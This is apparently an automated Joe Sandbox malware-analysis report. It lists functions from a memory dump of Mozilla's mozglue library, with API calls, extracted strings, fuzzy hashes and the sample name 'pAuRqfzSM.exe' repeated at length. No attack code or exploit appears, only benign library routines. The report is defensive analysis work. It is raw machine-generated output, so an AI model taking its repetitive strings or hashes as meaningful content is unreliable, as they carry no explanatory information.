?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?,00000000,?), ref: 6CAECDC4

Part of subcall function 6CAE7480: ReleaseSRWLockExclusive.KERNEL32(?,6CAF15FC,?,?,?,?,6CAF15FC,?), ref: 6CAE74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?,00000000,?), ref: 6CAECECC

Part of subcall function 6CAACA10: mozalloc_abort.MOZGLUE(?), ref: 6CAACAA2

Part of subcall function 6CADCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CAECEEA,?,?,?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?,00000000), ref: 6CADCB57
Part of subcall function 6CADCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CADCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CAECEEA,?,?), ref: 6CADCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CADDA31,pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu,?,?,00000000,?), ref: 6CAED058

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAECCF4, 6CAECD6C, 6CAECDB4

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 861561044-1144351082
Opcode ID: 37168a5f5015e90d0ef573ac1b43acddce28982d21f2c92611e36dcb01b3a6f5
Instruction ID: ec826431683040dba7dc937d5a52a7c7e3cb831a2ec635747758824003e57692
Opcode Fuzzy Hash: 37168a5f5015e90d0ef573ac1b43acddce28982d21f2c92611e36dcb01b3a6f5
Instruction Fuzzy Hash: 32D16E71A04B469FD708CF28C580B99F7E1BF89308F05862DD8598B752EB31E9A5CBC1

Function 6CACD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA9EB57,?,?,?,?,?,?,?,?,?), ref: 6CACD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA9EB57,?), ref: 6CACD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA9EB57,?), ref: 6CACD673
free.MOZGLUE(?), ref: 6CACD888

Strings

|Enabled, xrefs: 6CACD81E

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: d6d67af1dd59e2f73acecad6faf2a078616b29e629e5cc526e96b67d175ca104
Instruction ID: 14c25219c02ee3d92b81a5878d26e4a494a610144e7f86f24d91eab6f273dd64
Opcode Fuzzy Hash: d6d67af1dd59e2f73acecad6faf2a078616b29e629e5cc526e96b67d175ca104
Instruction Fuzzy Hash: FDA1E3B0F043448FDB01CF69C4D46AEBBF1AF49318F18805CD8996BB41D735A889CBA2

Function 6CABD468 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CACCBE8: GetCurrentProcess.KERNEL32(?,6CA931A7), ref: 6CACCBF1
Part of subcall function 6CACCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA931A7), ref: 6CACCBFA

EnterCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD4F2
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD50B

Part of subcall function 6CA9CFE0: EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
Part of subcall function 6CA9CFE0: LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD52E
EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD690
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD751

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CABD793
MOZ_CRASH(), xrefs: 6CABD4BB

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 3805649505-2359850350
Opcode ID: 544a134fa10172e55b85d4a2a210118824e3eefeff5e8bc15110826b6bb887b2
Instruction ID: d52b537bb9011014922ff24cb2964791b782a4352e7def224952911ff27df242
Opcode Fuzzy Hash: 544a134fa10172e55b85d4a2a210118824e3eefeff5e8bc15110826b6bb887b2
Instruction Fuzzy Hash: ED51F371E087418FD314CF28C19575ABBE5EB89318F144A2ED5A9D7F88D770E884CB92

Function 6CAE4630 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAE4721

Strings

., xrefs: 6CAE476A
profiler-paused, xrefs: 6CAE46E4
-%llu, xrefs: 6CAE4733
qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR, xrefs: 6CAE471A, 6CAE4726

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused$qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR
API String ID: 3732870572-4235076905
Opcode ID: dc7810a90f9ae028ad9495501e9eac5e6236431e90a1ebcc1024c709cc20cd1d
Instruction ID: 85c2323b6468c28612dd81ad11538b2ce68484354f99226a361828d766b6b77f
Opcode Fuzzy Hash: dc7810a90f9ae028ad9495501e9eac5e6236431e90a1ebcc1024c709cc20cd1d
Instruction Fuzzy Hash: 95413A71F087089FCB08DFB9E85119EBBE9EF89744F14863DE85557B81EB3098848782

Function 6CAE46E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAE4721

Part of subcall function 6CA94410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CAD3EBD,00000017,?,00000000,?,6CAD3EBD,?,?,6CA942D2), ref: 6CA94444

Strings

., xrefs: 6CAE476A
profiler-paused, xrefs: 6CAE46E4
-%llu, xrefs: 6CAE4733
qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR, xrefs: 6CAE471A, 6CAE4726

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused$qfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuR
API String ID: 680628322-4235076905
Opcode ID: c0f607f01361d891e371a25252cca66a19d4733ec6c65762af99d96827bbaaca
Instruction ID: 3b8db75f9486019a3b306e51fd3b37b0258261d3cd6fe3dfdf93f789ffd71f14
Opcode Fuzzy Hash: c0f607f01361d891e371a25252cca66a19d4733ec6c65762af99d96827bbaaca
Instruction Fuzzy Hash: C2314B71F042084BCB0CCFADD8912AEBBEADB8C314F19413DE8159BB41E77098448BD1

Function 6CACF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CACF480

Part of subcall function 6CA9F100: LoadLibraryW.KERNEL32(shell32,?,6CB0D020), ref: 6CA9F122
Part of subcall function 6CA9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA9F132

CloseHandle.KERNEL32(00000000), ref: 6CACF555

Part of subcall function 6CAA14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA1248,6CAA1248,?), ref: 6CAA14C9
Part of subcall function 6CAA14B0: memcpy.VCRUNTIME140(?,6CAA1248,00000000,?,6CAA1248,?), ref: 6CAA14EF

Part of subcall function 6CA9EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA9EEE3

CreateFileW.KERNEL32 ref: 6CACF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CACF523

Strings

\oleacc.dll, xrefs: 6CACF4CB

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 89b1bd3ea5bfc03c6d2c1109bb201597705e7d0234bcccf9a9c05e33b51845bb
Instruction ID: 3b72032b3463eb5ec7c4ce0bd75b3f418d53b407d04b510cceda459978fa34cd
Opcode Fuzzy Hash: 89b1bd3ea5bfc03c6d2c1109bb201597705e7d0234bcccf9a9c05e33b51845bb
Instruction Fuzzy Hash: 4A41BF707187549FE720DF69CD85A9AB7F4AF45318F500A1CF69483650EB30EA89CB92

Function 6CAB9D10 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAB9D27
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CAB9D71
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAB9DDA

Strings

pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB9E39
pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu, xrefs: 6CAB9DBE

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave_errno
String ID: pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu$pAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxupAuRqfzSM.exeaThONibgnxu
API String ID: 81201238-2173610469
Opcode ID: 8d35f74939606bb953f357b68d082e7da6be9481d81b5c5707e764cdd8fc0ddd
Instruction ID: c2e3267ede951a96806f48e8d0eb7d6d8c3b0e52b2dfa3ac8a9c42d0b1afac3e
Opcode Fuzzy Hash: 8d35f74939606bb953f357b68d082e7da6be9481d81b5c5707e764cdd8fc0ddd
Instruction Fuzzy Hash: A9312B35B416508FEF148B3AC64575D73B9EBA6B26F198029EC15B7F90CA31A8C08791

Function 6CAF74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAF7526
__Init_thread_footer.LIBCMT ref: 6CAF7566
__Init_thread_footer.LIBCMT ref: 6CAF7597

Strings

kernel32.dll, xrefs: 6CAF7557
UnmapViewOfFile2, xrefs: 6CAF7552

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8fd9710da92c040800cd227b0b7ce8888b352d8205fa7835330c60d9d65b837e
Instruction ID: 5e0b01372babf8b83f4fad3bb2b0edfba763e7561cfa6d83a9d2a83324d32141
Opcode Fuzzy Hash: 8fd9710da92c040800cd227b0b7ce8888b352d8205fa7835330c60d9d65b837e
Instruction Fuzzy Hash: 9F213435704541ABCB15CFE8C915EAA33B6EB56335B04052DF815C7F40CB30AC87CA96

Function 6CAFA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1F770,-00000001,?,6CB0E330,?,6CABBDF7), ref: 6CAFA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CABBDF7), ref: 6CAFA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CABBDF7), ref: 6CAFA7E4
LeaveCriticalSection.KERNEL32(6CB1F770), ref: 6CAFA80A

Strings

accelerator.dll, xrefs: 6CAFA7BF

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: dd9dcb50c95da5ad676285a3a29545791a2afb4fed1a369a85437ae50e62ddbb
Instruction ID: 9f682aa0167454efc2ca1b07f97c16bbec2ffb03e5e23b0e25308207273437e0
Opcode Fuzzy Hash: dd9dcb50c95da5ad676285a3a29545791a2afb4fed1a369a85437ae50e62ddbb
Instruction Fuzzy Hash: 41018FB57142049FAF04CF95D885D517BB9FB89364704806AF819CBB51DB709C00CBA1

Function 6CA9F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA9EE51,?), ref: 6CA9F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA9F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6CA9F0E3
ole32, xrefs: 6CA9F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA9F0DC

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 96d10c2568a5290732f17adc7cd7d75df5d4e0c3665d419da70f9c7258243f7f
Instruction ID: 9e961d27338d7879646604529a1f7efceb48561b90e91fa77474b4dfcbc6be4f
Opcode Fuzzy Hash: 96d10c2568a5290732f17adc7cd7d75df5d4e0c3665d419da70f9c7258243f7f
Instruction Fuzzy Hash: 38E0DFB53497419BAF041A62AC1BA263BFD6B22229708842DF402D3F00FA20D050C662

Function 6CAD0080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAA7204), ref: 6CAD0088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CAD00A7
FreeLibrary.KERNEL32(?,6CAA7204), ref: 6CAD00BE

Strings

wintrust.dll, xrefs: 6CAD0083
CryptCATAdminAcquireContext2, xrefs: 6CAD00A1

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 62f186df6eb83a9575300ce2bcaa9f289b8af2b0fe5229f1f68d3c3dc9e8a875
Instruction ID: 9addaff13f6ea9929836d4b3c1252ae68c9c2e2576307ce35cfb9e64e212135e
Opcode Fuzzy Hash: 62f186df6eb83a9575300ce2bcaa9f289b8af2b0fe5229f1f68d3c3dc9e8a875
Instruction Fuzzy Hash: 54E092B9644745EBEF00AF66C90A7017BF8A70B356F54452AE914C3F50DBB4D450DF11

Function 6CAD00D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAA7235), ref: 6CAD00D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CAD00F7
FreeLibrary.KERNEL32(?,6CAA7235), ref: 6CAD010E

Strings

wintrust.dll, xrefs: 6CAD00D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CAD00F1

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 3ff5d33efc1b22d1bca31db4b8056229a0896157971c0932a52e40ef633000ba
Instruction ID: fe09a06b53192826fdaeb42f7564209685d8e1412a176ade15769716f5409c32
Opcode Fuzzy Hash: 3ff5d33efc1b22d1bca31db4b8056229a0896157971c0932a52e40ef633000ba
Instruction Fuzzy Hash: B0E046B5285345DBEF009F29CA0B7213BF9F743346F144429A90A83F04DBB0D080CB10

Function 6CAFC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAFC0E9), ref: 6CAFC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CAFC437
FreeLibrary.KERNEL32(?,6CAFC0E9), ref: 6CAFC44C

Strings

ntdll.dll, xrefs: 6CAFC413
NtQueryVirtualMemory, xrefs: 6CAFC431

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

